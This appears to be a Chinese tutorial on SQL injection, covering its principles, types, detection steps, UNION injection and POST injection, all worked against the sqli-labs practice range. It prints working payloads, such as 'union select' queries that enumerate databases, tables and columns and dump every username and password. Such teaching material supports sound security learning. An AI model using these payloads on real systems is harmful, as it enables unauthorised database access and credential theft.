SQL注入(原理、分类、union、POST注入)

news2024/9/22 13:39:02

目录

【学习目标、重难点知识】

【学习目标】

【重难点知识】

SQL注入简介

SQL注入原理

SQL注入类型

MySQL与SQL注入的相关知识

information_schema

数据库的结构

数据库查询语句

limit的用法

需要记住的几个函数

注释符号

SQL注入探测方法

SQL注入漏洞攻击流程

探测方法

注入类型判断

整型参数的判断

UNION注入

union联合查询

union联合注入思路

靶场解析

靶场练习

POST注入

靶场解析


本文所使用的sql注入靶场为sqli-labs-master,靶场资源文件已上传,如有需要请前往主页或以下链接下载

信安必备靶场-sqli-labs-master-用于练习sql注入各种注入类型资源-CSDN文库

【学习目标、重难点知识】

【学习目标】

  1. SQL注入简介
  1. SQL注入类型
  1. SQL注入探测的基本方法
  1. union注入
  1. POST注入

【重难点知识】

  1. 注入的原理
  1. union注入
  1. POST注入

SQL注入简介

OWASP发布的top10排行榜中SQL注入漏洞一直是危害排名极高的漏洞,数据库注入一直是web中一个令人头疼的问题。

一个严重的SQL注入漏洞,可能会直接导致一家公司破产!

这并不是戏言,其实SQL注入漏洞最主要的形成原因是在进行数据交互中,当前端的数据传入后端进行处理时,由于没有做严格的判断,导致其传入的“数据”在拼接到SQL语句中之后,由于其特殊性,被当作SQL语句的一部分被执行,从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。

SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情,这些学长们一般用的就是SQL注入方法。

SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据做了代码才能干的事情。

这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。

SQL注入原理

SQL注入就是指web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的sql语句来实现对数据库的任意操作。

举例说明:

$id=$_GET['id']
select asdas #
#
--+    
$sql= SELECT * FROM users WHERE id=8 union select 1,2,3

 LIMIT 0,1

index.php?id=8 union select 1,2,3

SQL注入漏洞产生的条件:

  • 参数用户可控:前端传入的参数内容由用户控制
  • 参数带入数据库的查询:传入的参数拼接到SQL语句,并且带入数据库的查询

借助靶场演示

SQL注入类型

按注入点类型分:

  • 数字
  • 字符
  • 搜索
  • xx型( ')、") 等 )

按提交方式分:

  • GET
  • POST
  • HEAD
  • COOKIE

按执行效果来分:

  • 基于布尔的盲注
  • 基于时间的盲注
  • 基于报错的注入
  • 单引号
  • 双引号
  • 数字
  • 联合查询注入

总的来说有:联合注入、布尔注入、报错注入、时间注入、堆叠注入、二次注入、宽字节注入、cookie注入等等等

MySQL与SQL注入的相关知识

information_schema

  • 在MySQL5.0版本后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们需要记住三个表名,分别是schemata,tables,columns
  • schemata表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为schema_name。
  • tables表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库库名和表名的字段分别是table_schema和table_name.
  • columns表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为table_schema、table_name、columns_name。
schemata表:存放了所有的库名,存放在schema_name

tables表:存放了所有的库名以及对应的表名
                    ||			||
                table_schema=database()	table_name

columns:库名	 =>	   表名	  =>	字段名
         ||		      ||		 	 ||
    table_schema  table_name	column_name

查找所有的库名:

select schema_name from information_schema.SCHEMATA;

查找指定库中所有的表名:security

select table_name from information_schema.tables where table_schema="security";

查找指定库中的指定表中的字段:security=>users

select column_name from information_schema.columns where table_schema="security" and table_name="users";

面经

mysql5.0上下有什么区别?

数据库的结构

  • 数据库(database):按照数据结构来组织、存储和管理数据的仓库多个数据表的集
  • 数据表(table):以矩阵方式存储数据,在操作界面中以表格形式展现
  • 列(column): 具有相同数据类型的数据的集合
  • 行(row): 每一行用来描述某条记录的具体信息
  • 值(value): 行的具体信息, 每个值必须与该列的数据类型相同
  • 表头(header): 每一列的名称
  • 键(key): 键的值在当前列中具有唯一性。

数据库查询语句

想要查询的值A= select 所属字段名A from 所属表名 where 对应字段名B=值B

limit的用法

limit的使用格式是limit m,n,其中m指的是记录开始的位置,从m=0开始,表示第一条记录;n是指取几条记录。

需要记住的几个函数

  • version();当前mysql的版本
  • database();当前网站使用的数据库
  • user();当前MySQL的用户
  • group_concat():它的作用是将某一列的多个值合并成一个字符串,并用逗号分隔
  • substr():截取字符串
  • ascii(a):把字符转换成ascii码
  • updatexml()

注释符号

  • #
  • -- a 空格可以使用+代替 (url编码%23表示注释)
  • /**/
  • /*!*/ 内联注释

SQL注入探测方法

SQL注入漏洞攻击流程

探测方法

一般来说,SQL注入一般存在于形如:http://xxx.xxx.xxx/abc.php?id=XX等带有参数的php动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在SQL注入。如果php程序员没有安全意识,没有进行必要的字符过滤,存在SQL注入的可能性就非常大。

注入类型判断

为了把问题说明清楚,以下以http://xxx.xxx.xxx/abc.php?ip=YY为例进行分析,YY可能是整型,也有可能是字符串。

整型参数的判断

当输入的参数YY为整型时,通常abc.php中SQL语句大致如下:

select * from 表名 where 字段=YY

所以可以用以下步骤测试SQL注入是否存在。

1.在URL链接中附加一个单引号,即http://xxx.xxx.xxx/abc.php?p=YY',此时abc.php中的SQL语句变成了:
​	select * from 表名 where 字段=YY' limit 2,4			//测试结果为abc.php运行异常


2.在URL链接中附加字符串and 1=1即 http://xxx.xxx.xxx/abc.php?p=YY and 1=1
​	select * from 表名 where 字段=YY and 1=1 limit 2,4
​	测试结果为abc.php运行正常,而且与http://xxx.xxx.xxx/abc.php?p=YY运行结果相同;


3.在URL链接中附加字符串and 1=2即http://xxx.xxx.xxx/abc.php?p=YY and 1=2
​	select * from 表名 where 字段=YY and 1=2 limit 2,4
​	测试结果为abc.php运行异常。
//如果以上三种情况全部满足,abc.php中一定存在数字SQL注入漏洞。


如果说上面判断不成立

4. 在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' -- s		//判断是否为字符型
​	select * from 表名 where 字段='YY' and 1=2 -- s ' limit 2,4

5. 在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' and 1=1 -- s	//结果返回正常
​	select * from 表名 where 字段='YY' and 1=1 -- s limit 2,4

6. 在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' and 1=2 -- s	//结果返回异常
​	select * from 表名 where 字段='YY' and 1=2 -- s limit 2,4

则通过4,5,6判断出为字符型

UNION注入

union注入的方式有很多,如:get,post,head,cookie 等等

union联合查询

union联合、合并:将多条查询语句的结果合并成一个结果,union 注入攻击为一种手工测试。

union联合注入思路

判断注入点

http://sqli21/Pass-01/index.php?id='1" and 1=2 -- a'			and两边都为真,所以整体为真,返回结果正常
http://sqli21/Pass-01/index.php?id=1 and 1=2			and一边为假,所以整体为假,返回结果异常

判断出字段数量

order by //排序
http://sqli21/Pass-01/index.php?id=1 order by 3		//判断字段数量,返回正常,说明至少存在3个字段

http://sqli21/Pass-01/index.php?id=1 order by n		//返回异常,说明肯定不存在n列

union联合查询,判断回显点

http://sqli21/Pass-01/index.php?id=-1 union select 1,2,3

爆数据

http://sqli21/Pass-01/index.php?id=-1 union select 1,user(),database()
user()
database()
version()

爆出所有的库名

http://sqli21/Pass-01/index.php?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

爆出security库中所有的表名

http://sqli21/Pass-01/index.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();

爆出security库中users表中所有的字段

http://sqli21/Pass-01/index.php?id=-1 

union
select 1,2,
group_concat(column_name) 
from 
information_schema.columns
where
table_schema="security"
and
table_name="users" -- a

查找所有账号和密码

http://sqli21/Pass-01/index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users

靶场解析

靶场搭建

小皮搭建sqli-labs-master靶场
sql-connections/db-creds.inc中修改数据库账户密码

靶场练习

配置SQLI- labs需PHP版本为5.x,数据库会重置。

SQLI- labs:

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

Less-3 GET - Error based - Single quotes with twist - string

Less-4 GET - Error based - Double quotes - string

POST注入

post注入思路和get显错位注入思路一致

只是请求的方法从get变为了post

基本思路如下:

判断是否可以注入

admin' and 1=1 #		//返回正常,登录成功
admin' and 1=2 #		//登录失败
说明and被带入到数据库中执行了,进而证明存在sql注入

判断字段数 =》 order by

admin' order by 3 

判断回显位置 =》 union

1231' union select 1,2,3 -- s

得到数据库名字 =》 database()

1231' union select 1,database(),user() -- s

得到表名 =》 information_schema.tables

得到字段名 =》 information_schema.columns

获取flag

靶场解析

http://sqli21/Pass-05

判断闭合方式
&username=admin' #

判断字段
&username=admi' order by 3 #

判断回显位置
&username=admi' union select 1,2,3 #

获取数据
&username=admi' union select 1,database(),user() #

http://sqli21/Pass-06

username=admi") union select 1,database(),user() #

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2039098.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

gerrit的使用

配置SSH密钥 用记事本打开电脑里以下文件,复制内容 在gerrit代码库设置里找到菜单 SSH Keys,将以上复制的内容粘贴到New SSH Key处,点击ADD NEW SSH KEY即可。 克隆代码 git clone ssh://..... 下载commit-msg文件 复制代码下载地址里的…

java之校验QQ号是否正确以及如何用正则表达式进行优化

public class RegexDemo {public static void main(String[] args) {String qq"123456789";System.out.println(checkQQ(qq));}public static boolean checkQQ(String qq){//规则:6位到20位之内,0不能在开头,必须全部是数字//核心思想://先把异常数据过滤//下面的…

外部排序(败者树、置换-选择排序、最佳归并树)

外部排序可能会考查相关概念、方法和排序过程,外部排序的算法比较复杂,不会在算法设计上进行考查。 一、外部排序的基本概念与方法 外部排序指待排序文件较大,内存一次放不下,需存放在外存的文件的排序。 1. 基本概念 在许多应用…

python入门之命令提示符和文本创建.py文件

1.命令提示符 程序 快捷键:windowsR 在安装完python以后,可以直接在命令提示符程序上敲代码进行初步尝试。 python解释器 计算机是不认识python代码的,计算机只能识别0和1这个二进制的数,所以需要一个翻译官“python翻译器”。 …

【Linux系列】known_hosts详解

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

【Linux网络(一)】Socket编程

文章目录 1. 预备知识1.1 认识端口号1.2 初识TCP协议1.3 初识UDP协议1.4 网络字节序1.5 socket编程接口1.5.1 套接字编程的种类1.5.2 sockaddr结构体1.5.3 socket 常见API1.5.4 地址转换函数 2. 编写UDP服务器与客户端2.1 UDP服务器的创建2.2 UDP服务器接收/发送数据2.3 补充知…

动态规划——背包问题(01背包、完全背包,分组背包与二进制优化)

本蒟蒻写二进制优化开始的时候写昏了,并且昏了一下午。但好在有神犇救命,这篇博客才得以面世——躲着人群 一、01背包 概述: 其常见的问题形式为:给出n个物品,每个物品有对应的价值和体积。给出背包容量后求不超过背…

硬件开发流程

1.看原理图找引脚 --开发板上找到LED,查看丝印 --在原理图中根据丝印找到对应的器件 --找到对应的引脚 2.配置引脚功能(对应硬件的工作原理) 3.控制对应的引脚(或控制器) volatile: 易失性修饰符

qtpdfium 多平台编译

源码下载地址:https://codeload.github.com/kkzi/qpdf/zip/2681018e300738d6da9a9f89f06c93fc3ef17831 参考:https://blog.51cto.com/u_2194662/5256871 开发环境:QT 5.15.2 1. windows下编译: 编译环境:vs2019qt5.15…

【Python】线性规划模型(笔记)

线性规划的作用 求一个线性目标函数在线性可行域内的最值问题 线性规划的典型应用 配送运输问题:选大车还是小车生产规划问题:每种原料各买多少几何切割问题:切割长宽各多少买卖利润问题:最多能挣多少钱… 线性规划的本质 问…

6 二进制、十进制、八进制和十六进制的概念与进制转换,原码、反码、补码的概念与计算

目录 1 进制 1.1 常见的进制 1.2 不同进制的整数在 C 语言中的写法 1.3 printf 以不同进制形式输出整数 1.4 案例:使用不同的进制形式输出同一整数 2 进制的转换 2.1 二进制与十进制转换 2.1.1 二进制转换成十进制 2.1.2 十进制转换成二进制 2.2 八进制和…

pygame 赛亚人打怪

笔者最近学了一点pygame,献丑了。 代码附上,大佬勿喷! import random import timeimport pygameWIDTH 410 HEIGHT 750 ENEMY_BORN pygame.USEREVENT 1 BULLET_BORN pygame.USEREVENT 10 ENEMY_BULLET_BORN pygame.USEREVENT 100 REW…

2024年最新版小程序云开发数据模型的开通步骤,支持可视化数据库管理,支持Mysql和NoSql数据库,可以在vue3前端web里调用操作

小程序官方又改版了,搞得石头哥不得不紧急的再新出一版,教大家开通最新版的数据模型。官方既然主推数据模型,那我们就先看看看新版的数据模型到底是什么。 一,什么是数据模型 数据模型是什么 数据模型是一个用于组织和管理数据的…

Linux信号控制进程种类、内存查看和NICE优先级

1.信号种类 1)SIGHUP 重新加载配置 2)SIGINT 键盘中断CtrlC 3)SINGQUIT 键盘退出Ctrl\ 9)SIGKILL 强制终止 15)SIGTERM 正常结束终止 18)SIGCONT 继续 19)SIGSTOP…

使用克隆软件克隆Windows 10 硬盘

为什么 Windows 用户要克隆硬盘驱动器 您打算将旧硬盘升级为新硬盘吗?是否可以将操作系统迁移到 SSD?如何制作硬盘的相同副本?如何安全地升级操作系统而不会出现可启动故障问题?是否有任何安全便捷的方法可用于传输数据并升级到更…

Linux 中断机制(二)之中断子系统框架

目录 一、概述二、中断控制器 GIC1、Distributor 接口2、Redistributor 接口3、CPU 接口 三、中断类型四、中断号五、中断申请函数1、request_irq 函数2、request_threaded_irq() 函数3、gpio_to_irq 函数4、free_irq 函数 六、中断服务函数 一、概述 一个完整的中断子系统框架…

zdppy+vue3+onllyoffice开发文档管理系统实战 20240814上课笔记 验证码功能的进一步优化

遗留问题 1、实现验证码的功能2、要记录登录的Token和用户名,跳转到首页3、注册功能4、用户管理5、角色管理6、权限管理7、分享功能 当前进度 目前我们已经封装了zdppy_captcha这个框架,这个框架是专门用来生成验证码的。 缺少一些功能: …

024集——批量复制文字样式、改变文本文字样式——vba代码实现

CAD vba 不可直接修改文字样式的名称,可复制文字样式,文字样式名称前加特定前缀 要为对象改变文字样式,可使用 StyleName 属性。 If ent.ObjectName "AcDbText" Then ent.StyleName "新的" Set sel creatsel("…

【C#】读取与写入txt文件内容

在 C# 中读取和写入文本文件内容是一个常见的任务。以下是使用几种不同方法读取和写入文本文件的示例。 一、读取txt文件内容 1.1 使用 StreamReader using System; using System.IO;class Program {static void Main(){string filePath "C:\path\to\your\file.txt&qu…

【Unity打包Android】Gradle报错,Deprecated Gradle features were used in this build ···

Unity 2020.3.41f1c1 打包Android 加入Google Admob广告SDK后,打包Android失败,具体报错如下: 报错1: Starting a Gradle Daemon, 2 stopped Daemons could not be reused, use --status for details> Configure project :l…